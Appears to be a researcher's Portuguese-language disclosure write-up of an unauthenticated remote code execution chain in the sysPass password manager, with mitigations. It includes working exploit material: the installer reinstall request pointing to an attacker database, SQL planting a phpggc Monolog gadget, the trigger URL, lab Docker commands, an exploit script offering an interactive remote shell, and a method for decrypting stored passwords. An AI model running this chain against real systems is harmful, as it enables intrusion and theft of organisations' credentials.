CVE-2026-129110, RCE sem autenticação no sysPass

TL;DR

O sysPass, da versão 3.0.1 à 3.2.11, permite que qualquer pessoa na rede execute o instalador novamente em uma instância que já está instalada. Apontando a reinstalação para um servidor MySQL ou MariaDB que eu controlo, consigo entregar à aplicação um objeto PHP serializado e forjado por meio da tabela PublicLink, e o sysPass o desserializa quando o link público é aberto. O resultado é execução remota de código como o usuário do servidor web, sem nenhuma credencial, em uma aplicação cujo único propósito é guardar senhas.

Contexto

O sysPass é um gerenciador de senhas para equipes, de código aberto e escrito em PHP. Você o instala no seu próprio servidor, e ele guarda todas as credenciais que a sua organização confia a ele, cifradas com uma senha mestra.

Em junho de 2023 eu estava lendo o código do sysPass e notei com que frequência ele chama unserialize(). Isso por si só não é uma vulnerabilidade, mas o class loader inclui o Monolog 1.x, que tem gadget chains bem conhecidas no phpggc; o phpseclib 2.x também vem junto, embora a chain do phpggc para ele pare na 2.0.34. Então a pergunta ficou simples: alguém sem conta consegue fazer dados controlados pelo atacante chegarem a uma dessas chamadas de unserialize()? Acabou sendo possível, e eu tinha um exploit funcionando no meu laboratório em 8 de junho de 2023, mais de três anos antes de a CVE ser publicada.

Encontrando uma entrada sem autenticação

Listei todas as rotas que o módulo web expõe e procurei as que não exigem sessão. Uma delas chamou a atenção:

1
POST /index.php?r=install/install

Este é o controller na 3.2.11 (app/modules/web/Controllers/InstallController.php). O indexAction(), que apenas renderiza a página do instalador, verifica se o sysPass já está instalado:

1
2
3
4
5
6
7
8
9
public function indexAction()
{
    if ($this->configData->isInstalled()) {
        $this->router->response()
            ->redirect('index.php?r=login');
        return;
    }
    ...
}

O installAction(), que é quem de fato faz o trabalho, não tem essa verificação:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public function installAction()
{
    $installData = new InstallData();
    ...
    $installData->setDbAdminUser($this->request->analyzeString('dbuser', 'root'));
    $installData->setDbAdminPass($this->request->analyzeEncrypted('dbpass'));
    $installData->setDbName($this->request->analyzeString('dbname', 'syspass'));
    $installData->setDbHost($this->request->analyzeString('dbhost', 'localhost'));
    ...
    $this->dic->get(Installer::class)->run($installData);
}

protected function initialize()
{
    // TODO: Implement initialize() method.
}

Além disso, o controller install está listado em Init::PARTIAL_INIT (app/modules/web/Init.php), então o bootstrap pula, para ele, tanto a checagem de “já está instalado” quanto o tratamento de sessão. Na prática, qualquer pessoa que alcance a página de login pode reinstalar a aplicação, escolher o host e as credenciais do banco e definir uma nova conta de administrador e uma nova senha mestra.

Isso já é o controle total da aplicação. Mas também me dá algo mais interessante: controle sobre cada linha que o sysPass lê do seu banco de dados.

O instalador espera que alguns campos (adminpass, masterpassword, dbpass) venham cifrados com a chave pública RSA da instância. Isso não é uma barreira, porque a chave é servida a usuários anônimos:

1
GET /index.php?r=bootstrap/getEnvironment&isAjax=1

A resposta JSON contém pki_key, e eu simplesmente cifro meus valores com ela.

Transformando o controle do banco em execução de código

O recurso de link público permite que um usuário compartilhe uma conta com alguém de fora do sysPass por meio de uma URL que contém um hash. Abrir essa URL não exige autenticação. O handler em AccountController.php (linha 228 na 3.2.11) faz isto:

1
2
3
4
5
6
7
8
$publicLinkData = $publicLinkService->getByHash($hash);

if (time() < $publicLinkData->getDateExpire()
    && $publicLinkData->getCountViews() < $publicLinkData->getMaxCountViews()
) {
    ...
    /** @var Vault $vault */
    $vault = unserialize($publicLinkData->getData());

A coluna data da tabela PublicLink vai direto para o unserialize(), sem nenhuma restrição de allowed_classes. Normalmente só o sysPass escreve nessa coluna. Depois da reinstalação, o banco é meu.

A cadeia completa

Meu laboratório usou a imagem Docker oficial syspass/syspass (3.2.3) como alvo e um servidor MariaDB 10.6.28 como banco do atacante. Também verifiquei a mesma cadeia contra a 3.2.11, a última versão do projeto original (upstream), e com uma conta de banco que tinha privilégios apenas no banco da aplicação, sem root. A imagem traz PHP 7.3.31, Monolog 1.27.0 na 3.2.3 e 1.27.1 na 3.2.11, e phpseclib 2.0.37 em ambas. Nenhum sistema de terceiros foi envolvido.

  1. Obter a chave pública. Envie GET /index.php?r=bootstrap/getEnvironment&isAjax=1 ao alvo e leia pki_key.

  2. Reinstalar o alvo apontando para o meu banco. Envie POST /index.php?r=install/install com dbhost, dbuser, dbpass e dbname apontando para o meu servidor de banco, mais as novas senhas de administrador e mestra, tudo cifrado com a chave do passo 1. O sysPass se conecta ao meu servidor, cria suas tabelas lá e salva a nova configuração. O exploit usa o modo hosting do instalador: ele cria o banco antes, e o sysPass reaproveita as credenciais de banco informadas. Essa conta não precisa ser root; privilégios nesse único banco bastam.

  3. Plantar o gadget. A busca do link público (getByHash) usa INNER JOINs em User e Account, e Account tem chaves estrangeiras para Client, Category e UserGroup. A linha do administrador em User já existe por causa da reinstalação, então as linhas de apoio em Client, Category, UserGroup e Account precisam existir antes que a linha de PublicLink possa ser lida:

    1
    2
    3
    4
    5
    6
    7
    8
    
    INSERT IGNORE INTO Client (id,name,hash,description,isGlobal) VALUES (1,'c','','',1);
    INSERT IGNORE INTO Category (id,name,description,hash) VALUES (1,'cat','','catx');
    INSERT IGNORE INTO UserGroup (id,name,description) VALUES (1,'g','');
    INSERT INTO Account (id,userGroupId,userId,userEditId,clientId,name,categoryId,login,url,pass,`key`,notes,countView,countDecrypt,dateAdd)
      VALUES (1,1,1,1,1,'a',1,'u','',0x00,0x00,'',0,0,NOW()) ON DUPLICATE KEY UPDATE name='a';
    DELETE FROM PublicLink;
    INSERT INTO PublicLink (id,itemId,hash,data,userId,typeId,notify,dateAdd,dateExpire,dateUpdate,countViews,totalCountViews,maxCountViews,useinfo)
      VALUES (1,1,'exploit',UNHEX('<phpggc output, hex encoded>'),1,1,0,UNIX_TIMESTAMP(),UNIX_TIMESTAMP()+100000,0,0,0,10000,'a:0:{}');
    

    O payload vem do Monolog, 1.27.0 na 3.2.3 e 1.27.1 na 3.2.11:

    1
    
    phpggc Monolog/RCE1 system 'id'
    

    A outra biblioteca de gadgets incluída, phpseclib 2.0.37, está fora do intervalo de PHPSecLib/RCE1 (2.0.0 a 2.0.34), então essa chain não se aplica a esta imagem.

  4. Disparar. Requisite GET /index.php?r=account/viewLink/<hash> no alvo, que para a linha acima é GET /index.php?r=account/viewLink/exploit. O sysPass carrega a linha do meu banco, chama unserialize() no payload, a gadget chain dispara e o comando roda no alvo como o usuário do servidor web.

A partir daí o exploit mantém um shell interativo: cada comando é escrito em PublicLink e executado pela requisição seguinte, e sua saída volta na resposta HTTP.

Um detalhe prático: durante uma instalação normal, o sysPass cria seu próprio usuário MySQL e concede acesso a ele a partir do host que o alvo enxerga. O exploit evita isso usando o modo hosting do instalador, que reaproveita as credenciais de banco informadas, então uma conta sem privilégios, restrita a um banco, é suficiente. Se você usar o instalador no modo normal, pode ser preciso ajustar o host do usuário sp_* em mysql.user e mysql.db no seu servidor para que o alvo continue conseguindo se conectar depois que a instalação terminar. Isso é uma característica do ambiente de laboratório, não uma mitigação.

O que acontece com os dados que já estavam lá

Duas coisas diferentes costumam ser confundidas aqui, então vale separá-las.

O DELETE FROM PublicLink do exploit só afeta o meu próprio banco. Ele roda no servidor que eu controlo, sobre linhas que o próprio exploit acabou de criar, e existe porque PublicLink tem uma chave única em itemId, então a linha do link é substituída em vez de se acumular. A tabela PublicLink do alvo nunca é tocada.

O instalador apaga tabelas, sim, no banco para onde for apontado. O createDBStructure() executa schemas/dbstructure.sql, que contém 31 instruções DROP TABLE IF EXISTS e 4 DROP VIEW IF EXISTS, contra o banco indicado em dbname. Nesta cadeia esse banco é o meu, então os dados do alvo sobrevivem. Aponte dbname para o próprio banco do alvo e essas tabelas e views desaparecem. Confirmei isso no laboratório contra um banco com uma linha marcadora: depois da instalação, nem a tabela nem a linha existiam mais.

O banco original do alvo fica intacto. Depois de vários ataques contra a mesma instância, a linha original de Account e sua senha cifrada continuavam lá, byte a byte. O que o ataque destrói é o ponteiro. O instalador reescreve app/config/config.xml com o novo host, nome e senha do banco, e chama saveConfig($configData, false), então nenhum backup da configuração é gravado e nenhum arquivo .bak fica para trás. Depois do ataque, nada em /var/www ou /var/log ainda continha o nome ou o usuário do banco antigo. A aplicação não consegue mais alcançar os próprios dados, mas os dados em si não sumiram.

Um campo desse arquivo reescrito sobrevive, e ele importa: passwordSalt. Medi o valor antes e depois de um ataque e era idêntico, porque o config.xml já existia e o salt só é gerado quando o arquivo não existe. Esse único valor transforma um dump antigo do banco em senhas legíveis.

As senhas armazenadas podem ser lidas?

Não só a partir do texto cifrado, e não com os dados que o próprio ataque deixa para trás. Account.pass é cifrado com uma chave aleatória de 32 bytes, e essa chave é protegida pela senha mestra e armazenada ao lado, em Account.key. A proteção usa PBKDF2-SHA256 com 100000 iterações; o texto cifrado é AES-256-CTR com uma tag HMAC-SHA256, codificado em hexadecimal, e é por isso que Account.pass começa com def50200 e Account.key começa com def10000. Config.masterPwd é apenas um hash bcrypt com custo 10, então ele confirma um palpite, mas não entrega nada.

Restam dois caminhos, e ambos exigem algo que o exploit não produz sozinho.

Offline, a partir de um dump do banco mais a senha de login de um usuário. A senha mestra é protegida por usuário em User.mPass e User.mKey, com uma chave derivada como trim(userPass . userLogin . passwordSalt). Como o passwordSalt sobrevive ao ataque, um atacante com um dump antigo só precisa da senha de login de um usuário para recuperar a senha mestra e, em seguida, todos os Account.pass desse dump. Executei exatamente isso contra a instância do laboratório:

1
2
master password: OrigMasterPass1!
account 1 (lab-target-account): SuperSecretLab123!

Sem sessão ativa, sem a aplicação rodando, sem interação com o alvo. Apenas o dump, o salt do config.xml e a senha de login do administrador. Esse é o caminho realista depois de uma invasão, porque dumps e senhas reutilizadas circulam separadamente.

A partir de uma sessão ativa, com execução de código. O sysPass guarda a senha mestra na sessão PHP, cifrada com um Vault cuja chave é session_id() . sidStartTime, e os dois valores ficam no arquivo de sessão. Rodando como www-data, com um arquivo de sessão e a linha de Account em mãos, recuperei os mesmos dois valores. O problema é encontrar o arquivo de sessão: /var/lib/php/sessions tem modo 1733, então o www-data consegue ler um arquivo cujo nome conhece, mas não consegue listar o diretório, e o log do próprio sysPass não registra identificadores de sessão. O id da sessão precisa vir de outro lugar, como um proxy reverso que registra cookies.

Então o resumo honesto é este: essa cadeia dá controle total da aplicação e execução de código, e separa a aplicação do seu cofre. Ela não decifra, por si só, as senhas armazenadas. O que torna a perda total é a combinação: o salt permanece, o texto cifrado geralmente sobrevive em algum lugar, e uma única senha de usuário reutilizada abre o cofre inteiro.

Reproduzindo

O laboratório inteiro cabe em alguns comandos Docker. O alvo escuta na porta 18080, e o banco do atacante é um container MariaDB na mesma rede, acessado com uma conta restrita a um único banco:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
docker network create syspass-lab
docker run -d --name lab-db --network syspass-lab \
  -e MARIADB_ROOT_PASSWORD=rootpass mariadb:10.6
docker run -d --name victim --network syspass-lab \
  -p 18080:80 syspass/syspass:3.2.3
docker exec lab-db mysql --skip-ssl -u root -prootpass -e "
  CREATE USER 'spowner'@'%' IDENTIFIED BY 'ownerpass';
  GRANT ALL PRIVILEGES ON \`syspass\`.* TO 'spowner'@'%';
  FLUSH PRIVILEGES;"

# attacker side: PHP with openssl, phpggc and the mysql client
docker run -d --name tools --network syspass-lab \
  -v "$PWD":/work php:8.2-cli sleep infinity
docker exec tools bash -c 'apt-get update -qq &&
  apt-get install -y -qq --no-install-recommends python3 mariadb-client git &&
  git clone -q --depth 1 https://github.com/ambionics/phpggc /opt/phpggc'

O mount -v "$PWD":/work pressupõe que o arquivo do exploit está no diretório atual. Se você clonou o repositório, monte esse diretório no lugar.

Depois execute o exploit a partir desse container, que está na mesma rede e resolve os dois nomes:

1
2
3
4
5
docker exec tools python3 /work/exploit-CVE-2026-129110.py \
  --target http://victim \
  --db-host lab-db --db-user spowner --db-pass ownerpass \
  --db-name syspass --phpggc /opt/phpggc/phpggc \
  --cmd 'id'

A execução reporta cada passo e termina com a saída do comando, extraída do corpo da resposta:

1
2
3
4
5
[*] install/install -> HTTP 200: {"status":0,"description":"Installation finished",...}
[+] Rows planted on the attacker DB.
[*] Step 5: executing 'id' through the public link (CWE-502)
[+] Command output (HTTP 200):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Exploit completo

O exploit está publicado em github.com/psylinux/CVE-2026-129110-sysPass. Ele automatiza todos os passos acima, da obtenção da chave até um shell interativo, e então:

  1. lê pki_key e cifra com ela os campos da instalação;
  2. cria o banco e envia a reinstalação no modo hosting, de modo que a mesma conta é reaproveitada e nenhum usuário sp_* é criado;
  3. popula Client, Category, UserGroup, Account e PublicLink, com um gadget Monolog novo para cada comando;
  4. requisita o link público e recorta a saída do comando da resposta, entre dois marcadores aleatórios.

A interface é deliberadamente pequena:

1
2
3
4
5
6
python3 exploit-CVE-2026-129110.py \
  --target http://VICTIM:PORT \
  --db-host ATTACKER_DB_HOST --db-user ATTACKER_DB_USER \
  --db-pass ATTACKER_DB_PASS --db-name syspass \
  --phpggc /path/to/phpggc \
  --cmd 'id; ls -la /var/www/html/sysPass'

Com --shell, os passos 3 e 4 se repetem para cada comando digitado, o que dá um shell remoto interativo sobre HTTP puro, sem gravar nenhum arquivo no alvo. Com --print-sql, o script imprime o SQL de população e a URL de disparo em vez de mexer no banco, para operadores que não conseguem rodar o cliente mysql a partir do próprio host. --hash escolhe o hash do link público, e --mysql-connect-host cobre o caso em que o host do atacante resolve o banco por um nome diferente do que a vítima usa.

Dois comportamentos merecem destaque, porque eram bugs em versões anteriores. O script se recusa a continuar quando o instalador não reporta sucesso, em vez de seguir com um banco que nunca foi populado. E ele captura a saída do comando a partir do corpo da resposta, inclusive quando a requisição termina em um erro fatal do PHP, que é o desfecho normal depois que o gadget dispara.

Um limite que a ferramenta não esconde: ela não decifra as senhas armazenadas. Para isso é preciso o texto cifrado antigo mais a senha mestra, como descreve a seção anterior.

Impacto

Para um gerenciador de senhas, é praticamente o pior cenário possível.

Quem é afetado

Toda instância do sysPass da 3.0.1 à 3.2.11 que possa ser alcançada pela rede. A 3.2.11 é a última versão do projeto original (upstream), e o repositório do projeto original não recebe commits desde julho de 2022.

Correção e mitigação

Não existe correção no projeto original (upstream) e não haverá. O autor original confirmou que o projeto não é mais mantido.

O fork mantido, OpusProjects/sysPass, corrigiu os dois problemas:

Se você usa o sysPass do projeto original:

  1. Migre para o fork da OpusProjects ou para outro gerenciador de senhas mantido.
  2. Se não puder migrar imediatamente, bloqueie index.php?r=install/install (e, de preferência, toda a rota install) no seu proxy reverso ou servidor web.
  3. Não exponha o sysPass à internet. Coloque-o atrás de uma VPN ou de um proxy com autenticação.
  4. Restrinja as conexões de saída do host do sysPass para que ele não alcance servidores de banco arbitrários.
  5. Revise o config.xml e as configurações de host do banco em busca de alterações inesperadas, e trate qualquer instância que tenha ficado exposta como possivelmente comprometida.
  6. Se uma instância ficou exposta, considere todas as senhas armazenadas comprometidas. Trocá-las é a única remediação: mudar a senha mestra não adianta, porque o salt e os textos cifrados antigos continuam bastando para quem tiver os dois.

Linha do tempo da divulgação

Créditos

Esta vulnerabilidade foi descoberta por Marcos Azevedo em junho de 2023. A enumeração de rotas, a leitura de Init::PARTIAL_INIT, a escolha do gadget e a prova de conceito inicial foram feitas à mão, sem usar ferramentas de IA (Inteligência Artificial), no laboratório, ao longo de vários dias em junho de 2023. Em 2026, a IA foi usada para aprimorar o exploit: revisar a cadeia e corrigir o caminho da instalação.

Agradeço a Scott Moore e à equipe da CNA VulnCheck por revisarem minhas evidências e me incluírem como descobridor adicional, ao pesquisador que reportou a mesma cadeia à VulnCheck primeiro, e aos mantenedores da OpusProjects por manterem o sysPass vivo e corrigi-lo.

Referências